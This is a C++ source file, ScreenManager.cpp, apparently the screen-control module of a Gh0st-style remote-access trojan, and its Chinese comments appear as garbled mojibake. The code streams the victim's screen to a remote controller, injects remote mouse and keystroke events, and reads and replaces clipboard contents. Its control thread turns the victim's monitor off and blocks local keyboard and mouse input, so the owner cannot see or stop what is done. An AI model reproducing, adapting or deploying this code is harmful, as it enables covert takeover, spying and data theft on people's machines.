471 lines
12 KiB
C++
471 lines
12 KiB
C++
// ScreenManager.cpp: implementation of the CScreenManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
#include "ScreenManager.h"
|
||
//#include <winable.h> // BlockInput
|
||
#include "..\until.h"
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
|
||
{
|
||
m_bAlgorithm = ALGORITHM_SCAN;
|
||
m_biBitCount = 8;
|
||
m_pScreenSpy = new CScreenSpy(8);
|
||
m_bIsWorking = true;
|
||
m_bIsBlankScreen = false;
|
||
m_bIsBlockInput = false;
|
||
m_bIsCaptureLayer = false;
|
||
|
||
dwmapiDllHandle = LoadLibrary(_T("dwmapi.dll"));
|
||
|
||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
||
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL);
|
||
}
|
||
|
||
CScreenManager::~CScreenManager()
|
||
{
|
||
InterlockedExchange((LPLONG)&m_bIsBlankScreen, FALSE);
|
||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||
WaitForSingleObject(m_hBlankThread, INFINITE);
|
||
CloseHandle(m_hWorkThread);
|
||
CloseHandle(m_hBlankThread);
|
||
|
||
if (m_pScreenSpy)
|
||
delete m_pScreenSpy;
|
||
m_pScreenSpy = NULL;
|
||
|
||
if(dwmapiDllHandle)
|
||
FreeLibrary(dwmapiDllHandle);
|
||
}
|
||
|
||
void CScreenManager::ResetScreen(int biBitCount)
|
||
{
|
||
m_bIsWorking = false;
|
||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||
CloseHandle(m_hWorkThread);
|
||
|
||
delete m_pScreenSpy;
|
||
m_pScreenSpy = NULL;
|
||
|
||
if (biBitCount == 3) // 4λ»Ò¶È
|
||
m_pScreenSpy = new CScreenSpy(4, true);
|
||
else if (biBitCount == 7) // 8λ»Ò¶È
|
||
m_pScreenSpy = new CScreenSpy(8, true);
|
||
else
|
||
m_pScreenSpy = new CScreenSpy(biBitCount);
|
||
|
||
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
|
||
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
|
||
|
||
m_biBitCount = biBitCount;
|
||
|
||
m_bIsWorking = true;
|
||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
|
||
}
|
||
|
||
|
||
|
||
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||
{
|
||
try
|
||
{
|
||
switch (lpBuffer[0])
|
||
{
|
||
case COMMAND_NEXT:
|
||
// ֪ͨÄÚºËÔ¶³Ì¿ØÖƶ˶Ի°¿òÒÑ´ò¿ª£¬WaitForDialogOpen¿ÉÒÔ·µ»Ø
|
||
NotifyDialogIsOpen();
|
||
break;
|
||
case COMMAND_SCREEN_RESET:
|
||
ResetScreen(*(LPBYTE)&lpBuffer[1]);
|
||
break;
|
||
case COMMAND_ALGORITHM_RESET:
|
||
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
|
||
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
|
||
break;
|
||
case COMMAND_SCREEN_CTRL_ALT_DEL:
|
||
::SimulateCtrlAltDel();
|
||
break;
|
||
case COMMAND_SCREEN_CONTROL:
|
||
{
|
||
// Ô¶³ÌÈÔÈ»¿ÉÒÔ²Ù×÷
|
||
BlockInput(FALSE);
|
||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||
BlockInput(m_bIsBlockInput);
|
||
}
|
||
break;
|
||
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThreadÀïËø¶¨
|
||
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
|
||
break;
|
||
case COMMAND_SCREEN_BLANK:
|
||
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
|
||
break;
|
||
case COMMAND_SCREEN_CAPTURE_LAYER:
|
||
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
|
||
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
|
||
break;
|
||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||
SendLocalClipboard();
|
||
break;
|
||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
|
||
break;
|
||
case COMMAND_DISABLE_AERO:
|
||
DisableAeroTheme(lpBuffer[1]);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
catch(...)
|
||
{
|
||
}
|
||
}
|
||
|
||
HRESULT CScreenManager::DisableAeroTheme(BOOL bStatus)
|
||
{
|
||
typedef HRESULT (WINAPI * DwmEnableCompositionFunction)(__in UINT uCompositionAction);
|
||
|
||
HRESULT aResult = S_OK;
|
||
|
||
if (NULL != dwmapiDllHandle ) // not on Vista/Windows7 so no aero so no need to account for aero.
|
||
{
|
||
DwmEnableCompositionFunction DwmEnableComposition;
|
||
DwmEnableComposition = (DwmEnableCompositionFunction) ::GetProcAddress(dwmapiDllHandle, "DwmEnableComposition");
|
||
if( NULL != DwmEnableComposition )
|
||
{
|
||
aResult = DwmEnableComposition(bStatus);
|
||
}
|
||
// FreeLibrary(dwmapiDllHandle);
|
||
}
|
||
return aResult;
|
||
}
|
||
|
||
void CScreenManager::sendBITMAPINFO()
|
||
{
|
||
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
|
||
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
|
||
lpBuffer[0] = TOKEN_BITMAPINFO;
|
||
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
|
||
Send(lpBuffer, dwBytesLength);
|
||
VirtualFree(lpBuffer, 0, MEM_RELEASE);
|
||
}
|
||
|
||
void CScreenManager::sendFirstScreen()
|
||
{
|
||
BOOL bRet = false;
|
||
LPVOID lpFirstScreen = NULL;
|
||
|
||
lpFirstScreen = m_pScreenSpy->getFirstScreen();
|
||
if (lpFirstScreen == NULL)
|
||
return;
|
||
|
||
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
|
||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
lpBuffer[0] = TOKEN_FIRSTSCREEN;
|
||
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
|
||
|
||
Send(lpBuffer, dwBytesLength);
|
||
delete [] lpBuffer;
|
||
}
|
||
|
||
void CScreenManager::sendNextScreen()
|
||
{
|
||
LPVOID lpNetScreen = NULL;
|
||
DWORD dwBytes;
|
||
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
|
||
|
||
if (dwBytes == 0 || !lpNetScreen)
|
||
return;
|
||
|
||
DWORD dwBytesLength = 1 + dwBytes;
|
||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||
if (!lpBuffer)
|
||
return;
|
||
|
||
lpBuffer[0] = TOKEN_NEXTSCREEN;
|
||
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
|
||
|
||
Send(lpBuffer, dwBytesLength);
|
||
|
||
delete [] lpBuffer;
|
||
}
|
||
|
||
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
|
||
{
|
||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||
|
||
pThis->sendBITMAPINFO();
|
||
// µÈ¿ØÖƶ˶Ի°¿ò´ò¿ª
|
||
|
||
pThis->WaitForDialogOpen();
|
||
|
||
DWORDLONG i = 0;
|
||
pThis->sendFirstScreen();
|
||
try // ¿ØÖƶËÇ¿ÖÆ¹Ø±Õʱ»á³ö´í
|
||
{
|
||
while (pThis->m_bIsWorking)
|
||
{
|
||
pThis->sendNextScreen();
|
||
Sleep(10);
|
||
}
|
||
}catch(...){};
|
||
|
||
return 0;
|
||
}
|
||
|
||
// ´´½¨Õâ¸öÏß³ÌÖ÷ÒªÊÇΪÁ˱£³ÖÒ»Ö±ºÚÆÁ
|
||
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
|
||
{
|
||
static bool bIsScreenBlanked = false;
|
||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||
while (pThis->IsConnect())
|
||
{
|
||
// ¼Ó¿ì·´Ó¦ËÙ¶È
|
||
// for (int i = 0; i < 100; i++)
|
||
// {
|
||
// if (pThis->IsConnect())
|
||
// {
|
||
// // ·Ö±æÂÊ´óС¸Ä±äÁË
|
||
// if (pThis->IsMetricsChange())
|
||
// pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||
// Sleep(10);
|
||
// }
|
||
// else
|
||
// break;
|
||
// }
|
||
if (pThis->m_bIsBlankScreen)
|
||
{
|
||
/* º¯Êý½âÊÍ£º
|
||
SendMessage ½ø¶ÓÏûÏ¢£¬½«ÏûÏ¢·ÅÈëÓë´´½¨´°¿ÚµÄÏß³ÌÏà¹ØÁª
|
||
µÄÏûÏ¢¶ÓÁкóÁ¢¼´·µ»Ø¡£
|
||
PostMessage ²»½ø¶ÓÏûÏ¢£¬½«ÏûÏ¢Ö±½Ó·¢Ë͸ø´°¿Ú£¬´°¿Ú¹ý³Ì
|
||
´¦ÀíÍêÏûÏ¢ºó²Å·µ»Ø¡£
|
||
WM_SYSCOMMAND ´°¿ÚÏûÏ¢_ϵͳָÁî
|
||
WM_MONITORPOWER ϵͳָÁî_ÏÔʾÆ÷µçÔ´
|
||
|
||
×îºóÒ»¸ö²ÎÊýº¬Ò壺
|
||
2 ¹Ø±ÕÏÔʾÆ÷ the display is being shut off
|
||
1 µÍµç״̬ the display is going to low power
|
||
-1 ´ò¿ªÏÔʾÆ÷ the display is powering on
|
||
|
||
|
||
HDC hdc = GetDC(0);
|
||
SelectObject(hdc,GetStockObject(BLACK_BRUSH));
|
||
while(Rectangle(hdc,0,0,2000,2000));
|
||
*/
|
||
|
||
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
|
||
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
|
||
bIsScreenBlanked = true;
|
||
}
|
||
else if (bIsScreenBlanked)
|
||
{
|
||
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
|
||
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
|
||
bIsScreenBlanked = false;
|
||
}
|
||
if (pThis->m_bIsBlockInput)
|
||
BlockInput(pThis->m_bIsBlockInput);
|
||
|
||
// ·Ö±æÂÊ´óС¸Ä±äÁË
|
||
if (pThis->IsMetricsChange())
|
||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||
|
||
Sleep(10);
|
||
}
|
||
|
||
BlockInput(false);
|
||
return -1;
|
||
}
|
||
|
||
#if !defined(WM_MOUSEWHEEL)
|
||
#define WM_MOUSEWHEEL 0x020A
|
||
#endif
|
||
#if !defined(GET_WHEEL_DELTA_WPARAM)
|
||
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)HIWORD(wParam))
|
||
#endif
|
||
|
||
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
|
||
{
|
||
// Êý¾Ý°ü²»ºÏ·¨
|
||
if (nSize % sizeof(MSG) != 0)
|
||
return;
|
||
|
||
SwitchInputDesktop();
|
||
|
||
// ÃüÁî¸öÊý
|
||
int nCount = nSize / sizeof(MSG);
|
||
|
||
// ´¦Àí¶à¸öÃüÁî
|
||
for (int i = 0; i < nCount; i++)
|
||
{
|
||
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
|
||
switch (pMsg->message)
|
||
{
|
||
case WM_LBUTTONDOWN:
|
||
case WM_LBUTTONUP:
|
||
case WM_RBUTTONDOWN:
|
||
case WM_RBUTTONUP:
|
||
case WM_MOUSEMOVE:
|
||
case WM_LBUTTONDBLCLK:
|
||
case WM_RBUTTONDBLCLK:
|
||
case WM_MBUTTONDOWN:
|
||
case WM_MBUTTONUP:
|
||
{
|
||
POINT point;
|
||
point.x = LOWORD(pMsg->lParam);
|
||
point.y = HIWORD(pMsg->lParam);
|
||
|
||
SetCursorPos(point.x, point.y);
|
||
|
||
SetCapture(WindowFromPoint(point));
|
||
|
||
/*
|
||
|
||
int m_nLowpowerTimeout =30*60*1000;
|
||
int m_nPoweroffTimeout =30*60*1000;
|
||
//////////////////////////////////////////²»ÖªµÀΪʲôÔÚXPÏÂʹÓÃSendInput»á½øÈëÆÁ±££¬ÓÚÊǼӸö½ûÓÃÆÁ±££¬ºÍ½ûÓõçÔ´¹ÜÀí
|
||
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, FALSE, NULL, 0);
|
||
SystemParametersInfo(SPI_GETLOWPOWERTIMEOUT, 0, &m_nLowpowerTimeout, 0);
|
||
SystemParametersInfo(SPI_GETPOWEROFFTIMEOUT, 0, &m_nPoweroffTimeout, 0);
|
||
SystemParametersInfo(SPI_SETLOWPOWERTIMEOUT, 0, NULL, 0);
|
||
SystemParametersInfo(SPI_SETPOWEROFFTIMEOUT, 0, NULL, 0);
|
||
/////////////////////////////////////////////////////////////////////////////////////
|
||
POINT point;
|
||
INPUT inp;
|
||
long g_scrx,g_scry;
|
||
g_scrx=GetSystemMetrics(SM_CXSCREEN);
|
||
g_scry=GetSystemMetrics(SM_CYSCREEN);
|
||
g_scrx=(65535/g_scrx);
|
||
g_scry=(65535/g_scry);
|
||
point.x = LOWORD(pMsg->lParam);
|
||
point.y = HIWORD(pMsg->lParam);
|
||
INPUT input;
|
||
input.type = INPUT_MOUSE;
|
||
input.mi.dx = g_scrx*point.x ;
|
||
input.mi.dy = g_scry*point.y ;
|
||
input.mi.mouseData = 0;
|
||
input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE;
|
||
SendInput(1,&input,sizeof(INPUT));
|
||
|
||
*/
|
||
}
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
|
||
switch(pMsg->message)
|
||
{
|
||
case WM_LBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MOUSEWHEEL:
|
||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
|
||
break;
|
||
case WM_KEYDOWN:
|
||
case WM_SYSKEYDOWN:
|
||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
|
||
break;
|
||
case WM_KEYUP:
|
||
case WM_SYSKEYUP:
|
||
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
void CScreenManager::UpdateLocalClipboard( char *buf, int len )
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
|
||
::EmptyClipboard();
|
||
HGLOBAL hglbCopy = GlobalAlloc(GMEM_DDESHARE, len);
|
||
if (hglbCopy != NULL)
|
||
{
|
||
// Lock the handle and copy the text to the buffer.
|
||
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
|
||
memcpy(lptstrCopy, buf, len);
|
||
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
|
||
SetClipboardData(CF_TEXT, hglbCopy);
|
||
GlobalFree(hglbCopy);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
void CScreenManager::SendLocalClipboard()
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
HGLOBAL hglb = GetClipboardData(CF_TEXT);
|
||
if (hglb == NULL)
|
||
{
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
int nPacketLen = GlobalSize(hglb) + 1;
|
||
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
|
||
LPBYTE lpData = new BYTE[nPacketLen];
|
||
lpData[0] = TOKEN_CLIPBOARD_TEXT;
|
||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||
::GlobalUnlock(hglb);
|
||
::CloseClipboard();
|
||
Send(lpData, nPacketLen);
|
||
delete[] lpData;
|
||
}
|
||
|
||
|
||
// ÆÁÄ»·Ö±æÂÊÊÇ·ñ·¢Éú¸Ä±ä
|
||
bool CScreenManager::IsMetricsChange()
|
||
{
|
||
if (m_pScreenSpy == NULL)
|
||
{
|
||
return false;
|
||
}
|
||
LPBITMAPINFO lpbmi = m_pScreenSpy->getBI();
|
||
|
||
return (lpbmi->bmiHeader.biWidth != ::GetSystemMetrics(SM_CXSCREEN)) ||
|
||
(lpbmi->bmiHeader.biHeight != ::GetSystemMetrics(SM_CYSCREEN));
|
||
}
|
||
|
||
BOOL CScreenManager::IsConnect()
|
||
{
|
||
return m_pClient->IsRunning();
|
||
}
|
||
|
||
int CScreenManager::GetCurrentPixelBits()
|
||
{
|
||
return m_biBitCount;
|
||
} |